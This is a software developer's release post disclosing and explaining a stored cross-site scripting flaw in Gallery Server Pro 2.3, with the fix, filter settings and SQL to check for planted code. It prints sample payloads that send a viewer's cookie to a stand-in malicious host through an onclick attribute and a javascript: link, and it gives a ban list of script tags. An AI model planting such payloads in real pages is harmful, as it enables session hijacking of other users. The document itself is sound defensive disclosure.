Today I posted version 2.3.3440 of Gallery Server Pro. It includes a couple minor features and several bug fixes. A complete list is on the Release History page. The QuickStart Guide with instructions for upgrading is on the Download page.
The most important bug fix is a cross-site scripting (XSS) vulnerability, and it affects all versions of Gallery Server Pro beginning with 2.1. Until you get a chance to upgrade to the latest version, I recommend you disable the ability to add external media objects. In the Site admin area, on the Media Objects - General page, uncheck the option as seen here:
In Depth: Cross-site scripting (XSS) vulnerability
The vulnerability exists in the external media object feature. This feature, introduced in 2.1, allows one to add snippets of HTML - such as embed code for a YouTube video - as a media object. The text entered by the user was not analyzed for malicious javascript. This was an intentional decision at the time because it was impossible to predict the HTML one might want to add, and some sites - such as CNN - use the <script> tag in their embed code. Since presumably administrators gave only trusted users the ability to add objects, this seemed like an acceptable thing to do.
But then version 2.3 introduced community galleries and self registration, and suddenly a much wider variety of users are able to add objects. Furthermore, I learned more about cross-site scripting attacks and learned how Gallery Server was vulnerable.
How serious is this vulnerability? In the worst case scenario, a hacker can log in to the gallery as a system administrator, meaning he or she can delete your media objects or change the settings in the Site admin area. This is accomplished by creating a specially crafted snippet of HTML and uploading it as an external media object. Each time the media object is viewed, the cookie of the user viewing it is sent to a remote web site, thereby putting it in the hands of the hacker. The hacker can then use the cookie to impersonate that user. For example, if an administrator viewed the malformed object, the hacker could subsequently log in as the gallery administrator and do anything the administrator can do. This is called session hijacking.
Note that this attack DOES NOT compromise the IIS configuration or allow the user to take over the web server. It appears to be restricted to allowing a hacker to log in under another gallery account.
It is possible this XSS vulnerability has other security implications, but as best I can tell this is the most important one to worry about.
What was changed
For 2.3.3440, the following changes were made:
- The scope of the configuration setting allowHtmlInTitlesAndCaptions was expanded to apply to external media objects. When false (the default value), the user is prevented from creating an external media object that contains HTML. (Note: It would be more appropriate to rename the setting allowUserEnteredHtml, but for the sake of backward compatibility and ease of upgrading the original name was preserved.)
- When HTML is explicitly enabled, the list of allowed HTML tags and attributes is severely restricted. They are listed in two new configuration settings in galleryserverpro.config: allowedHtmlTags and allowedHtmlAttributes. (Previously the list was hard-coded and applied only to the titles of albums and media objects.)
- A new configuration setting allowUserEnteredJavascript can be used to control whether javascript is allowed in user input. When false - which is the default - <script> tags and the string "javascript:" are banned.
- For album and media object titles, invalid HTML and javascript is automatically removed before being stored in the database. In previous versions, it was encoded (for example, < was replaced with <).
I believe when these settings are used at their default values Gallery Server Pro is protected against XSS attacks, session hijacking, and any other attacks I have studied.
These changes mean that in the default configuration users can add only plain text as external media objects. To make this feature more useful, an administrator will want to enable the HTML setting. I believe that users are still protected against attacks when HTML is allowed as long as the list of allowed HTML tags and attributes remain at their default values.
When HTML is enabled, the following HTML tags and attributes are allowed. An administrator can edit these on the User Settings page in Site Admin.
Tags: p, a, div, span, br, ul, ol, li, table, tr, td, th, h1, h2, h3, h4, h5, h6, strong, b, em, i, u, cite, blockquote, address, pre, hr, img, dl, dt, dd, code, tt
Attributes: href, class, style, id, src, title, alt, target, name
You may still be vulnerable if you change the settings
Use caution when adding HTML tags and attributes to the "allowed" lists, especially event attributes such as onclick, onmouseover, etc. Consider the following HTML snippet, which sends the logged-on user's cookie to a remote web site and is a common technique used in session hijacking attacks to impersonate another user:
<p onclick="document.location='http://www.malicioussite.com/s.cgi?' + document.cookie">Click me</p>
Starting with 2.3.3440, this text cannot be entered as an external media object (or an album or media object title, for that matter) because it contains HTML. If you enable HTML, the text is still not valid because it contains the onclick attribute which is not in the list of allowed HTML attributes. However, if you add onclick to the list, this text can be entered, even if you have the javascript option disabled.
This is because javascript is very difficult to accurately detect. The allowUserEnteredJavascript setting prevents the use of <script> tags and "javascript:" strings, but they are not present in this example. Sure, Gallery Server Pro could search for document.cookie, but if it does that it needs to search for all the possible javascript statements, which is cumbersome and error-prone.
Note that the following sample does not work and is therefore not a security risk:
<a href="document.location='http://www.malicioussite.com/s.cgi?' + document.cookie">Click me</a>
Even though the a tag and href attribute are in the list of allowed HTML, hyperlinks require the use of the string "javascript:" like this:
<a href="javascript:document.location='http://www.malicioussite.com/s.cgi?' + document.cookie">Click me</a>
All of the allowed attributes in a default Gallery Server Pro installation require the use of the string "javascript:", so as long as you are restricting javascript input (that is, allowUserEnteredJavascript=false), you are protected.
Key points
- Starting with 2.3.3440, HTML and javascript are disabled by default for external media objects.
- The "Allow HTML" option on the User Settings page in the Site admin area now applies to external media objects in addition to captions and titles.
- If you previously enabled HTML in your gallery, then it is allowed but the HTML validator uses a slightly different list of valid HTML tags and attributes than what was previously hard-coded.
- There are no known vulnerabilities if you enable HTML with the default list of tags and attributes.
- Adding any event attribute such as onclick, onmouseover, etc to the list of allowed HTML attributes makes you vulnerable to XSS and session hijacking, even if you have the allow javascript option disabled.
- Enabling the use of javascript makes you vulnerable, even with the default list of HTML tags and attributes.
How to tell if your site has been compromised
If users have been able to add external media objects to your gallery, they may have already uploaded malicious code. The only sure way to determine if this has happened is to manually inspect the content of external media objects. This feature is not exposed in the UI, so you have to look in the database table. In your favorite SQL program (such as Management Studio for SQL Server or SQLite Manager for SQLite) run the following SQL:
SQLite: SELECT MediaObjectId, ExternalHtmlSource FROM gs_MediaObject WHERE LENGTH(ExternalHtmlSource) > 0
SQL Server: SELECT MediaObjectId, ExternalHtmlSource FROM gs_MediaObject WHERE LEN(ExternalHtmlSource) > 0
You will see the snippets of text that users entered when they added external media objects. If you see the text "document.cookie", that is a red flag. It is possible that a malicious user encoded the script to make it difficult to find, so be suspicious of any text you do not understand.
A tip for adding external media objects that use script or banned tags
As I mentioned earlier, some web sites include javascript or banned tags in their embed code. For example, here is a snippet of video from CNN.com:
<script src="http://i.cdn.turner.com/cnn/.element/js/2.0/video/evp/module.js?loc=dom&vid=/video/world/2009/06/02/bpr.plane.debris.found.cnn" type="text/javascript"></script><noscript>Embedded video from <a href="http://www.cnn.com/video">CNN Video</a></noscript>
The only way to add this to the gallery is to do three things: (1) enable javascript; (2) add the HTML tag script to the list of allowed tags; (3) add the HTML attribute type to the list of allowed attributes. Doing this makes you vulnerable to an XSS attack, so I do not recommend you use these settings on a long-term basis unless you totally trust your users that add objects. However, you *can* change the settings just long enough to add the code. Then go back to Site admin and revert to the previous settings. The snippet will continue to work, synchronizing won't break it, and your site is still safe.
And now our money is about to run out, so I have to figure out a way to recharge the savings account. An avalanche of donations would be my preferred method, but that is unlikely to happen. Or will it? hint...hint...
